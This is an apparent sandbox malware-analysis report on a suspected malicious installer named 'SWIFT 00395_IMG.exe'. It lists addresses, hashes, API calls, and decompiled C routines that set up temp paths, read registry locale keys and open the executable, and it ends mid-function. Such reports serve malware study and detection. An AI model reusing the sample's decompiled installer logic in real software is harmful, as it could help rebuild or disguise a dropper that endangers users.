                                                                                    0x00406dcd
                                                                                    0x0040716b
                                                                                    0x00000000
                                                                                    0x0040716b
                                                                                    0x00406dd3
                                                                                    0x00406dd6
                                                                                    0x00406dd9
                                                                                    0x00406ddd
                                                                                    0x00406de0
                                                                                    0x00406de6
                                                                                    0x00406de8
                                                                                    0x00406de8
                                                                                    0x00406de8
                                                                                    0x00406deb
                                                                                    0x00406dee
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406e4c
                                                                                    0x00406e4c
                                                                                    0x00406e50
                                                                                    0x00407177
                                                                                    0x00000000
                                                                                    0x00407177
                                                                                    0x00406e56
                                                                                    0x00406e59
                                                                                    0x00406e5c
                                                                                    0x00406e60
                                                                                    0x00406e63
                                                                                    0x00406e69
                                                                                    0x00406e6b
                                                                                    0x00406e6b
                                                                                    0x00406e6b
                                                                                    0x00406e6e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c1c
                                                                                    0x00406c1c
                                                                                    0x00406c1f
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f5b
                                                                                    0x00406f5f
                                                                                    0x00406f81
                                                                                    0x00406f84
                                                                                    0x00406f8e
                                                                                    0x00000000
                                                                                    0x00406f8e
                                                                                    0x00406f61
                                                                                    0x00406f64
                                                                                    0x00406f68
                                                                                    0x00406f6b
                                                                                    0x00406f6b
                                                                                    0x00406f6e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407018
                                                                                    0x0040701c
                                                                                    0x0040703a
                                                                                    0x0040703a
                                                                                    0x0040703a
                                                                                    0x00407041
                                                                                    0x00407048
                                                                                    0x0040704f
                                                                                    0x0040704f
                                                                                    0x00000000
                                                                                    0x0040704f
                                                                                    0x0040701e
                                                                                    0x00407021
                                                                                    0x00407024
                                                                                    0x00407027
                                                                                    0x0040702e
                                                                                    0x00406f72
                                                                                    0x00406f72
                                                                                    0x00406f75
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407109
                                                                                    0x0040710c
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d43
                                                                                    0x00406d45
                                                                                    0x00406d4c
                                                                                    0x00406d4d
                                                                                    0x00406d4f
                                                                                    0x00406d52
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d5a
                                                                                    0x00406d5d
                                                                                    0x00406d60
                                                                                    0x00406d62
                                                                                    0x00406d64
                                                                                    0x00406d64
                                                                                    0x00406d65
                                                                                    0x00406d68
                                                                                    0x00406d6f
                                                                                    0x00406d72
                                                                                    0x00406d80
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407056
                                                                                    0x00407056
                                                                                    0x00407059
                                                                                    0x00407060
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407065
                                                                                    0x00407065
                                                                                    0x00407069
                                                                                    0x004071a1
                                                                                    0x00000000
                                                                                    0x004071a1
                                                                                    0x0040706f
                                                                                    0x00407072
                                                                                    0x00407075
                                                                                    0x00407079
                                                                                    0x0040707c
                                                                                    0x00407082
                                                                                    0x00407084
                                                                                    0x00407084
                                                                                    0x00407084
                                                                                    0x00407087
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708d
                                                                                    0x0040708d
                                                                                    0x00407091
                                                                                    0x004070f1
                                                                                    0x004070f4
                                                                                    0x004070f9
                                                                                    0x004070fa
                                                                                    0x004070fc
                                                                                    0x004070fe
                                                                                    0x00407101
                                                                                    0x00000000
                                                                                    0x00407101
                                                                                    0x00407093
                                                                                    0x00407099
                                                                                    0x0040709c
                                                                                    0x0040709f
                                                                                    0x004070a2
                                                                                    0x004070a5
                                                                                    0x004070a8
                                                                                    0x004070ab
                                                                                    0x004070ae
                                                                                    0x004070b1
                                                                                    0x004070b4
                                                                                    0x004070cd
                                                                                    0x004070d0
                                                                                    0x004070d3
                                                                                    0x004070d6
                                                                                    0x004070da
                                                                                    0x004070dc
                                                                                    0x004070dc
                                                                                    0x004070dd
                                                                                    0x004070e0
                                                                                    0x004070b6
                                                                                    0x004070b6
                                                                                    0x004070be
                                                                                    0x004070c3
                                                                                    0x004070c5
                                                                                    0x004070c8
                                                                                    0x004070c8
                                                                                    0x004070e3
                                                                                    0x004070ea
                                                                                    0x00000000
                                                                                    0x004070ec
                                                                                    0x00000000
                                                                                    0x004070ec
                                                                                    0x00000000
                                                                                    0x00406d88
                                                                                    0x00406d8b
                                                                                    0x00406dc1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef4
                                                                                    0x00406ef4
                                                                                    0x00406ef7
                                                                                    0x00406ef9
                                                                                    0x00407183
                                                                                    0x00000000
                                                                                    0x00407183
                                                                                    0x00406eff
                                                                                    0x00406f02
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f08
                                                                                    0x00406f0c
                                                                                    0x00406f0f
                                                                                    0x00406f0f
                                                                                    0x00406f0f
                                                                                    0x00000000
                                                                                    0x00406f0f
                                                                                    0x00406d8d
                                                                                    0x00406d8f
                                                                                    0x00406d91
                                                                                    0x00406d93
                                                                                    0x00406d96
                                                                                    0x00406d97
                                                                                    0x00406d99
                                                                                    0x00406d9b
                                                                                    0x00406d9e
                                                                                    0x00406da1
                                                                                    0x00406db7
                                                                                    0x00406dbc
                                                                                    0x00406df4
                                                                                    0x00406df4
                                                                                    0x00406df8
                                                                                    0x00406e24
                                                                                    0x00406e26
                                                                                    0x00406e2d
                                                                                    0x00406e30
                                                                                    0x00406e33
                                                                                    0x00406e33
                                                                                    0x00406e38
                                                                                    0x00406e38
                                                                                    0x00406e3a
                                                                                    0x00406e3d
                                                                                    0x00406e44
                                                                                    0x00406e47
                                                                                    0x00406e74
                                                                                    0x00406e74
                                                                                    0x00406e77
                                                                                    0x00406e7a
                                                                                    0x00406eee
                                                                                    0x00406eee
                                                                                    0x00406eee
                                                                                    0x00000000
                                                                                    0x00406eee
                                                                                    0x00406e7c
                                                                                    0x00406e82
                                                                                    0x00406e85
                                                                                    0x00406e88
                                                                                    0x00406e8b
                                                                                    0x00406e8e
                                                                                    0x00406e91
                                                                                    0x00406e94
                                                                                    0x00406e97
                                                                                    0x00406e9a
                                                                                    0x00406e9d
                                                                                    0x00406eb6
                                                                                    0x00406eb8
                                                                                    0x00406ebb
                                                                                    0x00406ebc
                                                                                    0x00406ebf
                                                                                    0x00406ec1
                                                                                    0x00406ec4
                                                                                    0x00406ec6
                                                                                    0x00406ec8
                                                                                    0x00406ecb
                                                                                    0x00406ecd
                                                                                    0x00406ed0
                                                                                    0x00406ed4
                                                                                    0x00406ed6
                                                                                    0x00406ed6
                                                                                    0x00406ed7
                                                                                    0x00406eda
                                                                                    0x00406edd
                                                                                    0x00406e9f
                                                                                    0x00406e9f
                                                                                    0x00406ea7
                                                                                    0x00406eac
                                                                                    0x00406eae
                                                                                    0x00406eb1
                                                                                    0x00406eb1
                                                                                    0x00406ee0
                                                                                    0x00406ee7
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00000000
                                                                                    0x00406ee9
                                                                                    0x00000000
                                                                                    0x00406ee9
                                                                                    0x00406ee7
                                                                                    0x00406dfa
                                                                                    0x00406dfd
                                                                                    0x00406dff
                                                                                    0x00406e02
                                                                                    0x00406e05
                                                                                    0x00406e08
                                                                                    0x00406e0a
                                                                                    0x00406e0d
                                                                                    0x00406e10
                                                                                    0x00406e10
                                                                                    0x00406e13
                                                                                    0x00406e13
                                                                                    0x00406e16
                                                                                    0x00406e1d
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00000000
                                                                                    0x00406e1f
                                                                                    0x00000000
                                                                                    0x00406e1f
                                                                                    0x00406e1d
                                                                                    0x00406da3
                                                                                    0x00406da6
                                                                                    0x00406da8
                                                                                    0x00406dab
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c95
                                                                                    0x00406c95
                                                                                    0x00406c99
                                                                                    0x0040715f
                                                                                    0x00000000
                                                                                    0x0040715f
                                                                                    0x00406c9f
                                                                                    0x00406ca2
                                                                                    0x00406ca5
                                                                                    0x00406ca8
                                                                                    0x00406caa
                                                                                    0x00406caa
                                                                                    0x00406caa
                                                                                    0x00406cad
                                                                                    0x00406cb0
                                                                                    0x00406cb3
                                                                                    0x00406cb6
                                                                                    0x00406cb9
                                                                                    0x00406cbc
                                                                                    0x00406cbd
                                                                                    0x00406cbf
                                                                                    0x00406cbf
                                                                                    0x00406cbf
                                                                                    0x00406cc2
                                                                                    0x00406cc5
                                                                                    0x00406cc8
                                                                                    0x00406ccb
                                                                                    0x00406ccb
                                                                                    0x00406ccb
                                                                                    0x00406cce
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f12
                                                                                    0x00406f12
                                                                                    0x00406f12
                                                                                    0x00406f16
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f1c
                                                                                    0x00406f1f
                                                                                    0x00406f22
                                                                                    0x00406f25
                                                                                    0x00406f27
                                                                                    0x00406f27
                                                                                    0x00406f27
                                                                                    0x00406f2a
                                                                                    0x00406f2d
                                                                                    0x00406f30
                                                                                    0x00406f33
                                                                                    0x00406f36
                                                                                    0x00406f39
                                                                                    0x00406f3a
                                                                                    0x00406f3c
                                                                                    0x00406f3c
                                                                                    0x00406f3c
                                                                                    0x00406f3f
                                                                                    0x00406f42
                                                                                    0x00406f45
                                                                                    0x00406f48
                                                                                    0x00406f4b
                                                                                    0x00406f4f
                                                                                    0x00406f51
                                                                                    0x00406f54
                                                                                    0x00000000
                                                                                    0x00406f56
                                                                                    0x00000000
                                                                                    0x00406f56
                                                                                    0x00406f54
                                                                                    0x00407189
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067b8

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 69107d409a21aceab355f2bdda7f7152adad7d75b4471f7616c4440fbc630a2e
                                                                                    • Instruction ID: 6d311f2402807b87ac493386ce59d8e56409eb9bb3693b5a24021ea98ba03221
                                                                                    • Opcode Fuzzy Hash: 69107d409a21aceab355f2bdda7f7152adad7d75b4471f7616c4440fbc630a2e
                                                                                    • Instruction Fuzzy Hash: 3AF18571D04229CBDF28CFA8C8946ADBBB1FF44305F25816ED456BB281D3786A86CF45
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E0040659C(CHAR* _a4) {
                                                                                    				void* _t2;
                                                                                    
                                                                                    				_t2 = FindFirstFileA(_a4, 0x4225a0); // executed
                                                                                    				if(_t2 == 0xffffffff) {
                                                                                    					return 0;
                                                                                    				}
                                                                                    				FindClose(_t2);
                                                                                    				return 0x4225a0;
                                                                                    			}




                                                                                    0x004065a7
                                                                                    0x004065b0
                                                                                    0x00000000
                                                                                    0x004065bd
                                                                                    0x004065b3
                                                                                    0x00000000

                                                                                    APIs
                                                                                    • FindFirstFileA.KERNELBASE(73BCFA90,004225A0,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,00405CF1,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,00000000,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,73BCFA90,?,73BCF560,00405A10,?,73BCFA90,73BCF560), ref: 004065A7
                                                                                    • FindClose.KERNEL32(00000000), ref: 004065B3
                                                                                    Strings
                                                                                    • C:\Users\user\AppData\Local\Temp\nspD9BF.tmp, xrefs: 0040659C
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: Find$CloseFileFirst
                                                                                    • String ID: C:\Users\user\AppData\Local\Temp\nspD9BF.tmp
                                                                                    • API String ID: 2295610775-2918866483
                                                                                    • Opcode ID: a8a8e6ca181c7703a692eace486e77433675a7c42b8a8fe2eb47bb99df7a0189
                                                                                    • Instruction ID: f69e928bf0ac745f57f8f0961b1e49234d8ba52852923c3f30ba08d6865e50e3
                                                                                    • Opcode Fuzzy Hash: a8a8e6ca181c7703a692eace486e77433675a7c42b8a8fe2eb47bb99df7a0189
                                                                                    • Instruction Fuzzy Hash: 64D01231615130FBC3411B38BE0C84B7A5C9F093303619B36F466F12E4D7748D62869C
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 96%
                                                                                    			E00403A3B(void* __eflags) {
                                                                                    				intOrPtr _v4;
                                                                                    				intOrPtr _v8;
                                                                                    				int _v12;
                                                                                    				void _v16;
                                                                                    				void* __ebx;
                                                                                    				void* __edi;
                                                                                    				void* __esi;
                                                                                    				intOrPtr* _t17;
                                                                                    				void* _t25;
                                                                                    				void* _t27;
                                                                                    				int _t28;
                                                                                    				void* _t31;
                                                                                    				int _t34;
                                                                                    				int _t35;
                                                                                    				intOrPtr _t36;
                                                                                    				int _t39;
                                                                                    				char _t57;
                                                                                    				CHAR* _t59;
                                                                                    				signed char _t63;
                                                                                    				signed short _t67;
                                                                                    				CHAR* _t74;
                                                                                    				intOrPtr _t76;
                                                                                    				CHAR* _t81;
                                                                                    
                                                                                    				_t76 =  *0x424754;
                                                                                    				_t17 = E00406631(2);
                                                                                    				_t84 = _t17;
                                                                                    				if(_t17 == 0) {
                                                                                    					_t74 = 0x420d50;
                                                                                    					"1033" = 0x30;
                                                                                    					 *0x42b001 = 0x78;
                                                                                    					 *0x42b002 = 0;
                                                                                    					E0040610F(_t71, __eflags, 0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x420d50, 0);
                                                                                    					__eflags =  *0x420d50;
                                                                                    					if(__eflags == 0) {
                                                                                    						E0040610F(_t71, __eflags, 0x80000003, ".DEFAULT\\Control Panel\\International",  &M0040836A, 0x420d50, 0);
                                                                                    					}
                                                                                    					lstrcatA("1033", _t74);
                                                                                    				} else {
                                                                                    					_t67 =  *_t17(); // executed
                                                                                    					E00406186("1033", _t67 & 0x0000ffff);
                                                                                    				}
                                                                                    				E00403D00(_t71, _t84);
                                                                                    				_t80 = "C:\\Users\\jones\\AppData\\Local\\Temp";
                                                                                    				 *0x4247e0 =  *0x42475c & 0x00000020;
                                                                                    				 *0x4247fc = 0x10000;
                                                                                    				if(E00405CAE(_t84, "C:\\Users\\jones\\AppData\\Local\\Temp") != 0) {
                                                                                    					L16:
                                                                                    					if(E00405CAE(_t92, _t80) == 0) {
                                                                                    						E004062BB(0, _t74, _t76, _t80,  *((intOrPtr*)(_t76 + 0x118)));
                                                                                    					}
                                                                                    					_t25 = LoadImageA( *0x424740, 0x67, 1, 0, 0, 0x8040); // executed
                                                                                    					 *0x423f28 = _t25;
                                                                                    					if( *((intOrPtr*)(_t76 + 0x50)) == 0xffffffff) {
                                                                                    						L21:
                                                                                    						if(E0040140B(0) == 0) {
                                                                                    							_t27 = E00403D00(_t71, __eflags);
                                                                                    							__eflags =  *0x424800;
                                                                                    							if( *0x424800 != 0) {
                                                                                    								_t28 = E00405421(_t27, 0);
                                                                                    								__eflags = _t28;
                                                                                    								if(_t28 == 0) {
                                                                                    									E0040140B(1);
                                                                                    									goto L33;
                                                                                    								}
                                                                                    								__eflags =  *0x423f0c; // 0x0
                                                                                    								if(__eflags == 0) {
                                                                                    									E0040140B(2);
                                                                                    								}
                                                                                    								goto L22;
                                                                                    							}
                                                                                    							ShowWindow( *0x420d30, 5);
                                                                                    							_t34 = E004065C3("RichEd20");
                                                                                    							__eflags = _t34;
                                                                                    							if(_t34 == 0) {
                                                                                    								E004065C3("RichEd32");
                                                                                    							}
                                                                                    							_t81 = "RichEdit20A";
                                                                                    							_t35 = GetClassInfoA(0, _t81, 0x423ee0);
                                                                                    							__eflags = _t35;
                                                                                    							if(_t35 == 0) {
                                                                                    								GetClassInfoA(0, "RichEdit", 0x423ee0);
                                                                                    								 *0x423f04 = _t81;
                                                                                    								RegisterClassA(0x423ee0);
                                                                                    							}
                                                                                    							_t36 =  *0x423f20; // 0x0
                                                                                    							_t39 = DialogBoxParamA( *0x424740, _t36 + 0x00000069 & 0x0000ffff, 0, E00403DD8, 0);
                                                                                    							E0040398B(E0040140B(5), 1);
                                                                                    							return _t39;
                                                                                    						}
                                                                                    						L22:
                                                                                    						_t31 = 2;
                                                                                    						return _t31;
                                                                                    					} else {
                                                                                    						_t71 =  *0x424740;
                                                                                    						 *0x423ee4 = E00401000;
                                                                                    						 *0x423ef0 =  *0x424740;
                                                                                    						 *0x423ef4 = _t25;
                                                                                    						 *0x423f04 = 0x40a210;
                                                                                    						if(RegisterClassA(0x423ee0) == 0) {
                                                                                    							L33:
                                                                                    							__eflags = 0;
                                                                                    							return 0;
                                                                                    						}
                                                                                    						SystemParametersInfoA(0x30, 0,  &_v16, 0);
                                                                                    						 *0x420d30 = CreateWindowExA(0x80, 0x40a210, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x424740, 0);
                                                                                    						goto L21;
                                                                                    					}
                                                                                    				} else {
                                                                                    					_t71 =  *(_t76 + 0x48);
                                                                                    					_t86 = _t71;
                                                                                    					if(_t71 == 0) {
                                                                                    						goto L16;
                                                                                    					}
                                                                                    					_t74 = 0x4236e0;
                                                                                    					E0040610F(_t71, _t86,  *((intOrPtr*)(_t76 + 0x44)), _t71,  *((intOrPtr*)(_t76 + 0x4c)) +  *0x424798, 0x4236e0, 0);
                                                                                    					_t57 =  *0x4236e0; // 0x75
                                                                                    					if(_t57 == 0) {
                                                                                    						goto L16;
                                                                                    					}
                                                                                    					if(_t57 == 0x22) {
                                                                                    						_t74 = 0x4236e1;
                                                                                    						 *((char*)(E00405BEB(0x4236e1, 0x22))) = 0;
                                                                                    					}
                                                                                    					_t59 = lstrlenA(_t74) + _t74 - 4;
                                                                                    					if(_t59 <= _t74 || lstrcmpiA(_t59, ?str?) != 0) {
                                                                                    						L15:
                                                                                    						E00406228(_t80, E00405BC0(_t74));
                                                                                    						goto L16;
                                                                                    					} else {
                                                                                    						_t63 = GetFileAttributesA(_t74);
                                                                                    						if(_t63 == 0xffffffff) {
                                                                                    							L14:
                                                                                    							E00405C07(_t74);
                                                                                    							goto L15;
                                                                                    						}
                                                                                    						_t92 = _t63 & 0x00000010;
                                                                                    						if((_t63 & 0x00000010) != 0) {
                                                                                    							goto L15;
                                                                                    						}
                                                                                    						goto L14;
                                                                                    					}
                                                                                    				}
                                                                                    			}


























                                                                                    0x00403a41
                                                                                    0x00403a4a
                                                                                    0x00403a51
                                                                                    0x00403a53
                                                                                    0x00403a67
                                                                                    0x00403a79
                                                                                    0x00403a80
                                                                                    0x00403a87
                                                                                    0x00403a8d
                                                                                    0x00403a92
                                                                                    0x00403a98
                                                                                    0x00403aab
                                                                                    0x00403aab
                                                                                    0x00403ab6
                                                                                    0x00403a55
                                                                                    0x00403a55
                                                                                    0x00403a60
                                                                                    0x00403a60
                                                                                    0x00403abb
                                                                                    0x00403ac5
                                                                                    0x00403ace
                                                                                    0x00403ad3
                                                                                    0x00403ae4
                                                                                    0x00403b6b
                                                                                    0x00403b73
                                                                                    0x00403b7c
                                                                                    0x00403b7c
                                                                                    0x00403b92
                                                                                    0x00403b98
                                                                                    0x00403ba6
                                                                                    0x00403c27
                                                                                    0x00403c2f
                                                                                    0x00403c39
                                                                                    0x00403c3e
                                                                                    0x00403c44
                                                                                    0x00403cce
                                                                                    0x00403cd3
                                                                                    0x00403cd5
                                                                                    0x00403cf1
                                                                                    0x00000000
                                                                                    0x00403cf1
                                                                                    0x00403cd7
                                                                                    0x00403cdd
                                                                                    0x00403ce5
                                                                                    0x00403ce5
                                                                                    0x00000000
                                                                                    0x00403cdd
                                                                                    0x00403c52
                                                                                    0x00403c5d
                                                                                    0x00403c62
                                                                                    0x00403c64
                                                                                    0x00403c6b
                                                                                    0x00403c6b
                                                                                    0x00403c76
                                                                                    0x00403c7e
                                                                                    0x00403c80
                                                                                    0x00403c82
                                                                                    0x00403c8b
                                                                                    0x00403c8e
                                                                                    0x00403c94
                                                                                    0x00403c94
                                                                                    0x00403c9a
                                                                                    0x00403cb3
                                                                                    0x00403cc4
                                                                                    0x00000000
                                                                                    0x00403cc9
                                                                                    0x00403c31
                                                                                    0x00403c33
                                                                                    0x00000000
                                                                                    0x00403ba8
                                                                                    0x00403ba8
                                                                                    0x00403bb4
                                                                                    0x00403bbe
                                                                                    0x00403bc4
                                                                                    0x00403bc9
                                                                                    0x00403bd8
                                                                                    0x00403cf6
                                                                                    0x00403cf6
                                                                                    0x00000000
                                                                                    0x00403cf6
                                                                                    0x00403be7
                                                                                    0x00403c22
                                                                                    0x00000000
                                                                                    0x00403c22
                                                                                    0x00403aea
                                                                                    0x00403aea
                                                                                    0x00403aed
                                                                                    0x00403aef
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00403af9
                                                                                    0x00403b09
                                                                                    0x00403b0e
                                                                                    0x00403b15
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00403b19
                                                                                    0x00403b1b
                                                                                    0x00403b28
                                                                                    0x00403b28
                                                                                    0x00403b30
                                                                                    0x00403b36
                                                                                    0x00403b5e
                                                                                    0x00403b66
                                                                                    0x00000000
                                                                                    0x00403b48
                                                                                    0x00403b49
                                                                                    0x00403b52
                                                                                    0x00403b58
                                                                                    0x00403b59
                                                                                    0x00000000
                                                                                    0x00403b59
                                                                                    0x00403b54
                                                                                    0x00403b56
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00403b56
                                                                                    0x00403b36

                                                                                    APIs
                                                                                      • Part of subcall function 00406631: GetModuleHandleA.KERNEL32(?,?,?,004034D4,0000000B), ref: 00406643
                                                                                      • Part of subcall function 00406631: GetProcAddress.KERNEL32(00000000,?), ref: 0040665E
                                                                                    • GetUserDefaultUILanguage.KERNELBASE(00000002,73BCFA90,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT 00395_IMG.exe" ,00000000), ref: 00403A55
                                                                                      • Part of subcall function 00406186: wsprintfA.USER32 ref: 00406193
                                                                                    • lstrcatA.KERNEL32(1033,00420D50,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420D50,00000000,00000002,73BCFA90,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT 00395_IMG.exe" ,00000000), ref: 00403AB6
                                                                                    • lstrlenA.KERNEL32(uvlcopdlxoed,?,?,?,uvlcopdlxoed,00000000,C:\Users\user\AppData\Local\Temp,1033,00420D50,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420D50,00000000,00000002,73BCFA90), ref: 00403B2B
                                                                                    • lstrcmpiA.KERNEL32(?,.exe,uvlcopdlxoed,?,?,?,uvlcopdlxoed,00000000,C:\Users\user\AppData\Local\Temp,1033,00420D50,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420D50,00000000), ref: 00403B3E
                                                                                    • GetFileAttributesA.KERNEL32(uvlcopdlxoed), ref: 00403B49
                                                                                    • LoadImageA.USER32 ref: 00403B92
                                                                                    • RegisterClassA.USER32 ref: 00403BCF
                                                                                    • SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403BE7
                                                                                    • CreateWindowExA.USER32 ref: 00403C1C
                                                                                    • ShowWindow.USER32(00000005,00000000), ref: 00403C52
                                                                                    • GetClassInfoA.USER32 ref: 00403C7E
                                                                                    • GetClassInfoA.USER32 ref: 00403C8B
                                                                                    • RegisterClassA.USER32 ref: 00403C94
                                                                                    • DialogBoxParamA.USER32 ref: 00403CB3
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
                                                                                    • String ID: "C:\Users\user\Desktop\SWIFT 00395_IMG.exe" $.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$PB$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb$uvlcopdlxoed$>B
                                                                                    • API String ID: 606308-3752151568
                                                                                    • Opcode ID: 8cd03706bc3b4e3cd0d6d37f96b9a73a5a3b7a5ac7853bf60a8ad06bd9737550
                                                                                    • Instruction ID: 0b0e7d8dfe967f47b98d7fa3c12120eb495d8fa8be153c65172cdb3e572a9271
                                                                                    • Opcode Fuzzy Hash: 8cd03706bc3b4e3cd0d6d37f96b9a73a5a3b7a5ac7853bf60a8ad06bd9737550
                                                                                    • Instruction Fuzzy Hash: A061C4702046046EE620AF65AD46F3B3A7CEB8574AF40443FF951B62D3CB7D99068A2D
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 96%
                                                                                    			E00402EF1(void* __eflags, signed int _a4) {
                                                                                    				DWORD* _v8;
                                                                                    				DWORD* _v12;
                                                                                    				intOrPtr _v16;
                                                                                    				long _v20;
                                                                                    				intOrPtr _v24;
                                                                                    				intOrPtr _v28;
                                                                                    				intOrPtr _v32;
                                                                                    				intOrPtr _v36;
                                                                                    				signed int _v40;
                                                                                    				char _v300;
                                                                                    				long _t54;
                                                                                    				void* _t62;
                                                                                    				intOrPtr _t65;
                                                                                    				void* _t68;
                                                                                    				intOrPtr* _t70;
                                                                                    				long _t82;
                                                                                    				signed int _t89;
                                                                                    				intOrPtr _t92;
                                                                                    				long _t94;
                                                                                    				void* _t102;
                                                                                    				void* _t106;
                                                                                    				long _t107;
                                                                                    				long _t110;
                                                                                    				intOrPtr* _t111;
                                                                                    
                                                                                    				_t94 = 0;
                                                                                    				_v8 = 0;
                                                                                    				_v12 = 0;
                                                                                    				 *0x424750 = GetTickCount() + 0x3e8;
                                                                                    				GetModuleFileNameA(0, "C:\\Users\\jones\\Desktop\\SWIFT 00395_IMG.exe", 0x400);
                                                                                    				_t106 = E00405DC1("C:\\Users\\jones\\Desktop\\SWIFT 00395_IMG.exe", 0x80000000, 3);
                                                                                    				 *0x40a018 = _t106;
                                                                                    				if(_t106 == 0xffffffff) {
                                                                                    					return "Error launching installer";
                                                                                    				}
                                                                                    				E00406228("C:\\Users\\jones\\Desktop", "C:\\Users\\jones\\Desktop\\SWIFT 00395_IMG.exe");
                                                                                    				E00406228(0x42c000, E00405C07("C:\\Users\\jones\\Desktop"));
                                                                                    				_t54 = GetFileSize(_t106, 0);
                                                                                    				 *0x41f908 = _t54;
                                                                                    				_t110 = _t54;
                                                                                    				if(_t54 <= 0) {
                                                                                    					L24:
                                                                                    					E00402E52(1);
                                                                                    					if( *0x424758 == _t94) {
                                                                                    						goto L32;
                                                                                    					}
                                                                                    					if(_v12 == _t94) {
